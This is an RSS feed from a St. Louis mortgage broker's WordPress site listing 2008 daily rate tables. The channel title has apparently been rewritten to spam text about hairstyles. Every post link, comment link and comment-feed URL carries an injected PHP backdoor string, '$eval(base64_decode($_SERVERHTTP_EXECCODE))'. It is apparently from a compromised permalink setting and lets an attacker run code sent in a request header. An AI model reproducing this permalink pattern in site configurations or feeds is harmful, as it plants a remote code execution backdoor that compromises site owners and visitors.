<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites &#187; St. Louis Mortgage Rates</title>
	<atom:link href="http://www.grauteam.com/category/st-louis-mortgage-rates/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.grauteam.com</link>
	<description>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites</description>
	<lastBuildDate>Mon, 22 Feb 2010 21:51:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>St. Louis Mortgage Rates 11/24</title>
		<link>http://www.grauteam.com/2008/11/24/st-louis-mortgage-rates-1124/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/11/24/st-louis-mortgage-rates-1124/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 25 Nov 2008 03:07:32 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=304</guid>
		<description><![CDATA[St Louis Best Mortgage Rates October 24, 2008 30 Fixed/apr &#124; 6.000% /6.100% 30 FHA/apr &#124; 6.000% /6.750% 15 Fixed/apr &#124; 5.750% /5.825% St Louis Best Mortgage Rates [1% Point] 30 Fixed/apr &#124; 5.625% /5.825% 30 FHA/apr &#124; 5.625% /6.225% 15 Fixed/apr &#124; 5.500% /5.700%]]></description>
			<content:encoded><![CDATA[<h3>St Louis Best Mortgage Rates October 24, 2008</h3>
<p align="justify">30 Fixed/apr | 6.000% /6.100%</p>
<p align="justify">30 FHA/apr | 6.000% /6.750%</p>
<p align="justify">15 Fixed/apr | 5.750% /5.825%</p>
<h3>St Louis Best Mortgage Rates [1% Point]</h3>
<p align="justify">30 Fixed/apr | 5.625% /5.825%</p>
<p align="justify">30 FHA/apr | 5.625% /6.225%</p>
<p align="justify">15 Fixed/apr | 5.500% /5.700%</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/11/24/st-louis-mortgage-rates-1124/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates</title>
		<link>http://www.grauteam.com/2008/06/13/st-louis-mortgage-rates-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/13/st-louis-mortgage-rates-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 16:50:41 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/13/st-louis-mortgage-rates-5/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates June 13, 2008 30 Fixed/apr &#124; 6.625% /6.725% 30 FHA/apr &#124; 6.750% /7.500% 15 Fixed/apr &#124; 6.250% /6.350% 5yr Arm/apr &#124; 6.500% /6.600% St Louis Best Mortgage Rates [1% Point] 30 Fixed/apr &#124; 6.375% /6.575% 30 FHA/apr &#124; 6.500% /7.200% 15 Fixed/apr &#124; 6.000% /6.200% 7yr Arm/apr &#124; 6.125% /6.325% 5yr Arm/apr &#124; [...]]]></description>
			<content:encoded><![CDATA[<h1><img src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" width="150" height="100" /></h1>
<h3>St Louis Best Mortgage Rates June 13, 2008</h3>
<p align="justify">30 Fixed/apr | 6.625% /6.725%</p>
<p align="justify"><span id="more-293"></span>30 FHA/apr | 6.750% /7.500%</p>
<p align="justify">15 Fixed/apr | 6.250% /6.350%</p>
<p align="justify"><span style="color: #000000;">5yr Arm/apr | 6.500% /6.600%</span></p>
<h3>St Louis Best Mortgage Rates [1% Point]</h3>
<p align="justify">30 Fixed/apr | 6.375% /6.575%</p>
<p align="justify">30 FHA/apr | 6.500% /7.200%</p>
<p align="justify">15 Fixed/apr | 6.000% /6.200%</p>
<p align="justify">7yr Arm/apr | 6.125% /6.325%</p>
<p align="justify"><strong><span style="color: #008000;">5yr Arm/apr | 5.875% /6.075%</span></strong></p>
<p align="justify"><strong><span style="color: #008000;">3yr Arm/apr | 5.625% /5.825%</span></strong></p>
<p align="justify">30 Jumbo/apr | 7.875% /7.975%</p>
<p align="justify">15 Jumbo /apr | 7.000% /7.100%</p>
<p align="justify">7/1 Jumbo /apr | 7.125% /7.225%</p>
<p align="justify"><strong><span style="color: #008000;">5/1 Jumbo /apr | 6.500% /6.600%</span></strong></p>
<p align="justify">3/1 Jumbo /apr | 6.375% /6.475%</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/13/st-louis-mortgage-rates-5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates</title>
		<link>http://www.grauteam.com/2008/06/12/st-louis-mortgage-rates-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/12/st-louis-mortgage-rates-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 12 Jun 2008 16:13:00 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/12/st-louis-mortgage-rates-4/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates June 12, 2008 30 Fixed/apr &#124; 6.500% /6.600% 30 FHA/apr &#124; 6.750% /7.500% 15 Fixed/apr &#124; 6.125% /6.225% 7yr Arm/apr &#124; 7.125% /7.225% 5yr Arm/apr &#124; 6.250% /6.350% 3yr Arm/apr &#124; 6.250% /6.350% St Louis Best Mortgage Rates [1% Point] 30 Fixed/apr &#124; 6.375% /6.575% 30 FHA/apr &#124; 6.500% /7.200% 15 Fixed/apr &#124; [...]]]></description>
			<content:encoded><![CDATA[<h1 align="justify"><img width="150" src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" height="100" /></h1>
<h3 align="justify">St Louis Best Mortgage Rates June 12, 2008</h3>
<p align="justify">30 Fixed/apr | 6.500% /6.600%</p>
<p align="justify">30 FHA/apr | 6.750% /7.500%</p>
<p align="justify">15 Fixed/apr | 6.125% /6.225%</p>
<p align="justify">7yr Arm/apr | 7.125% /7.225%</p>
<p align="justify"><font color="#008000"><strong>5yr Arm/apr | 6.250% /6.350%</strong></font></p>
<p align="justify">3yr Arm/apr | 6.250% /6.350%<span id="more-289"></span><span id="more-283"></span></p>
<h3 align="justify">St Louis Best Mortgage Rates [1% Point]</h3>
<p align="justify">30 Fixed/apr | 6.375% /6.575%</p>
<p align="justify">30 FHA/apr | 6.500% /7.200%</p>
<p align="justify">15 Fixed/apr | 6.000% /6.200%</p>
<p align="justify">7yr Arm/apr | 6.250% /6.450%</p>
<p align="justify"><strong><font color="#008000">5yr Arm/apr | 5.750% /5.950%</font></strong></p>
<p align="justify">3yr Arm/apr | 5.750% /5.950%</p>
<p align="justify">30 Jumbo/apr | 7.875% /7.975%</p>
<p align="justify">15 Jumbo /apr | 6.875% /6.975%</p>
<p align="justify">7/1 Jumbo /apr | 7.125% /7.225%</p>
<p align="justify"><strong><font color="#008000">5/1 Jumbo /apr | 6.500% /6.600%</font></strong></p>
<p align="justify">3/1 Jumbo /apr | 6.375% /6.475%</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/12/st-louis-mortgage-rates-4/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates</title>
		<link>http://www.grauteam.com/2008/06/09/st-louis-mortgage-rates-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/09/st-louis-mortgage-rates-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 16:10:08 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/09/st-louis-mortgage-rates-3/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates June 09, 2008 30 Fixed/apr &#124; 6.375% /6.475% 30 FHA/apr &#124; 6.375% /6.875% 15 Fixed/apr &#124; 5.875% /5.975% 7yr Arm/apr &#124; 6.000% /6.100% 5yr Arm/apr &#124; 5.625% /5.725% 3yr Arm/apr &#124; 5.875% /5.975% 30 Jumbo/apr &#124; n/a 15 Jumbo /apr &#124; n/a 7/1 Jumbo /apr &#124; 7.625% /7.655% 5/1 Jumbo /apr &#124; 7.375% [...]]]></description>
			<content:encoded><![CDATA[<h1 align="justify"><img width="150" src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" height="100" /></h1>
<h3 align="justify"><u>St Louis Best Mortgage Rates June 09, 2008</u></h3>
<p align="justify">30 Fixed/apr | 6.375% /6.475%</p>
<p align="justify">30 FHA/apr | 6.375% /6.875%</p>
<p align="justify">15 Fixed/apr | 5.875% /5.975%</p>
<p align="justify">7yr Arm/apr | 6.000% /6.100%</p>
<p align="justify"><strong>5yr Arm/apr | 5.625% /5.725%</strong></p>
<p align="justify">3yr Arm/apr | 5.875% /5.975%<span id="more-283"></span></p>
<p align="justify">30 Jumbo/apr | n/a</p>
<p align="justify">15 Jumbo /apr | n/a</p>
<p align="justify">7/1 Jumbo /apr | 7.625% /7.655%</p>
<p align="justify">5/1 Jumbo /apr | 7.375% /7.425%</p>
<p align="justify">3/1 Jumbo /apr | 6.750% /6.800%</p>
<p align="justify">St Louis Best Mortgage Rates [1% Point]</p>
<p align="justify">30 Fixed/apr | 6.125% /6.325%</p>
<p align="justify">30 FHA/apr | 6.000% /6.700%</p>
<p align="justify">15 Fixed/apr | 5.625% /5.725%</p>
<p align="justify">7yr Arm/apr | 5.625% /5.825%</p>
<p align="justify">5yr Arm/apr | 5.125% /5.325%</p>
<p align="justify">3yr Arm/apr | 5.125% /5.325%</p>
<p align="justify">30 Jumbo/apr | 7.500% /7.600%</p>
<p align="justify">15 Jumbo /apr | 6.500% /6.600%</p>
<p align="justify">7/1 Jumbo /apr | 6.750% /6.850%</p>
<p align="justify">5/1 Jumbo /apr | 6.250% /6.350%</p>
<p align="justify">3/1 Jumbo /apr | 5.750% /5.850%</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/09/st-louis-mortgage-rates-3/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates</title>
		<link>http://www.grauteam.com/2008/06/06/st-louis-mortgage-rates-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/06/st-louis-mortgage-rates-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 15:41:54 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/06/st-louis-mortgage-rates-2/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates June 06, 2008 30 Fixed/apr &#124; 6.375% /6.475% 30 FHA/apr &#124; 6.375% /6.875% 15 Fixed/apr &#124; 5.875% /5.975% 7yr Arm/apr &#124; 5.750% /5.850% 5yr Arm/apr &#124; 5.750% /5.850% 3yr Arm/apr &#124; 5.625% /5.725% 30 Jumbo/apr &#124; n/a 15 Jumbo /apr &#124; n/a 7/1 Jumbo /apr &#124; 7.250% /7.300% 5/1 Jumbo /apr &#124; 7.000% [...]]]></description>
			<content:encoded><![CDATA[<h1 align="center"><img src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" /></h1>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates June 06, 2008</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.375% <font color="#000000">/6.475%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.375% <font color="#000000">/6.875%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.625% <font color="#000000">/5.725%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | n/a</font></h3>
<h3 align="center">15 Jumbo /apr | <font size="+0"><font color="#000000">n/a</font></font></h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#000000"><font color="#008000">7.250%</font> /7.300%</font></h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#000000"><font color="#008000">7.000%</font> /7.050%</font></h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">6.500<font size="+0">%</font></font> /6.550%</h3>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [1% Point]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.125% <font color="#000000">/6.325%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.000% <font color="#000000">/6.700%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.625% <font color="#000000">/5.725%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.375% <font color="#000000">/5.575%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.125% <font color="#000000">/5.325%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.000% <font color="#000000">/5.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | <font color="#008000">7.500%</font> /7.600%</font></h3>
<h3 align="center">15 Jumbo /apr | <font color="#008000">6.500%</font> /6.600%</h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#008000">6.375%</font> /6.475%</h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#008000">6.125%</font> /6.225%</h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">5.750%</font> /5.875%</h3>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/06/st-louis-mortgage-rates-2/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates</title>
		<link>http://www.grauteam.com/2008/06/05/st-louis-mortgage-rates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/05/st-louis-mortgage-rates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 16:19:11 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/05/st-louis-mortgage-rates/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates June 05, 2008 30 Fixed/apr &#124; 6.375% /6.475% 30 FHA/apr &#124; 6.375% /6.875% 15 Fixed/apr &#124; 5.875% /5.975% 7yr Arm/apr &#124; 5.750% /5.850% 5yr Arm/apr &#124; 5.750% /5.850% 3yr Arm/apr &#124; 5.625% /5.725% 30 Jumbo/apr &#124; n/a 15 Jumbo /apr &#124; n/a 7/1 Jumbo /apr &#124; 7.250% /7.300% 5/1 Jumbo /apr &#124; 7.000% [...]]]></description>
			<content:encoded><![CDATA[<h1 align="center"><img src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" /></h1>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates June 05, 2008</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.375% <font color="#000000">/6.475%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.375% <font color="#000000">/6.875%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.625% <font color="#000000">/5.725%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | n/a</font></h3>
<h3 align="center">15 Jumbo /apr | <font size="+0"><font color="#000000">n/a</font></font></h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#000000"><font color="#008000">7.250%</font> /7.300%</font></h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#000000"><font color="#008000">7.000%</font> /7.050%</font></h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">6.625<font size="+0">%</font></font> /6.675%</h3>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [1% Point]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.000% <font color="#000000">/6.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.000% <font color="#000000">/6.700%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.625% <font color="#000000">/5.725%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.375% <font color="#000000">/5.575%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.125% <font color="#000000">/5.325%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.000% <font color="#000000">/5.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | <font color="#008000">7.625%</font> /7.725%</font></h3>
<h3 align="center">15 Jumbo /apr | <font color="#008000">6.500%</font> /6.600%</h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#008000">6.500%</font> /6.600%</h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#008000">6.125%</font> /6.225%</h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">5.750%</font> /5.875%</h3>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/05/st-louis-mortgage-rates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates June 02</title>
		<link>http://www.grauteam.com/2008/06/02/st-louis-mortgage-rates-june-02/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/02/st-louis-mortgage-rates-june-02/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 17:12:02 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/02/st-louis-mortgage-rates-june-02/</guid>
		<description><![CDATA[St Louis Best Mortgage Rates [No Points] 30 Fixed/apr &#124; 6.250% /6.350% 30 FHA/apr &#124; 6.375% /6.875% 15 Fixed/apr &#124; 5.875% /5.975% 7yr Arm/apr &#124; 5.750% /5.850% 5yr Arm/apr &#124; 5.750% /5.850% 3yr Arm/apr &#124; 5.625% /5.725% 30 Jumbo/apr &#124; n/a 15 Jumbo /apr &#124; n/a 7/1 Jumbo /apr &#124; n/a 5/1 Jumbo /apr &#124; 6.875% /6.975% [...]]]></description>
			<content:encoded><![CDATA[<h1 align="center"><img src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" /></h1>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [No Points]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.250% <font color="#000000">/6.350%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.375% <font color="#000000">/6.875%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.850%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.625% <font color="#000000">/5.725%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | n/a</font></h3>
<h3 align="center">15 Jumbo /apr | <font size="+0"><font color="#000000">n/a</font></font></h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#000000">n/a</font></h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#000000"><font color="#008000">6.875%</font> /6.975%</font></h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">6.500<font size="+0">%</font></font> /6.600%</h3>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [1% Point]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.000% <font color="#000000">/6.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.000% <font color="#000000">/6.700%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.500% <font color="#000000">/5.700%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.375% <font color="#000000">/5.575%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.250% <font color="#000000">/5.450%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.000% <font color="#000000">/5.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | <font color="#008000">7.375%</font> /7.475%</font></h3>
<h3 align="center">15 Jumbo /apr | <font color="#008000">6.500%</font> /6.600%</h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#008000">6.750%</font> /6.875%</h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#008000">6.250%</font> /6.350%</h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">5.875%</font> /5.975%</h3>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/02/st-louis-mortgage-rates-june-02/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>St. Louis Mortgage Rates &#124; May 30</title>
		<link>http://www.grauteam.com/2008/05/30/st-louis-mortgage-rates-may-30/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/05/30/st-louis-mortgage-rates-may-30/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 30 May 2008 16:10:01 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[St. Louis Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/05/30/st-louis-mortgage-rates-may-30/</guid>
		<description><![CDATA[  St Louis Best Mortgage Rates [No Points] 30 Fixed/apr &#124; 6.250% /6.350% 30 FHA/apr &#124; 6.375% /6.875% 15 Fixed/apr &#124; 5.875% /5.975% 7yr Arm/apr &#124; 5.875% /5.975% 5yr Arm/apr &#124; 5.875% /5.975% 3yr Arm/apr &#124; 5.750% /5.875% 30 Jumbo/apr &#124; n/a 15 Jumbo /apr &#124; 7.125% /7.175% 7/1 Jumbo /apr &#124; n/a 5/1 Jumbo /apr &#124; [...]]]></description>
			<content:encoded><![CDATA[<h3 align="center"><u><font color="#ffcc00"> <img src="http://www.grauteam.com/wp-content/uploads/2008/05/rates1.jpg" alt="St. Louis Mortgage Rates" /></font></u></h3>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [No Points]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.250% <font color="#000000">/6.350%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.375% <font color="#000000">/6.875%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.875% <font color="#000000">/5.975%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.750% <font color="#000000">/5.875%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | n/a</font></h3>
<h3 align="center">15 Jumbo /apr | <font color="#000000"><font color="#008000">7.125%</font> /7.175%</font></h3>
<h3 align="center">7/1 Jumbo /apr | <font color="#000000">n/a</font></h3>
<h3 align="center">5/1 Jumbo /apr | <font color="#000000">n/a</font></h3>
<h3 align="center">3/1 Jumbo /apr | <font color="#008000">7.000%</font> /7.200%</h3>
<h3 align="center"><u><font color="#000000">St Louis Best Mortgage Rates [1% Point]</font></u></h3>
<h3 align="center">30 Fixed/apr | <font color="#008000">6.000% <font color="#000000">/6.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 FHA/apr | </font><font color="#008000">6.000% <font color="#000000">/6.700%</font></font></h3>
<h3 align="center">15 Fixed/apr | <font color="#008000">5.500% <font color="#000000">/5.700%</font></font></h3>
<h3 align="center">7yr Arm/apr | <font color="#008000">5.375% <font color="#000000">/5.575%</font></font></h3>
<h3 align="center">5yr Arm/apr | <font color="#008000">5.250% <font color="#000000">/5.450%</font></font></h3>
<h3 align="center">3yr Arm/apr | <font color="#008000">5.000% <font color="#000000">/5.200%</font></font></h3>
<h3 align="center"><font color="#000000">30 Jumbo/apr | <font color="#008000">7.375%</font> /7.475%</font></h3>
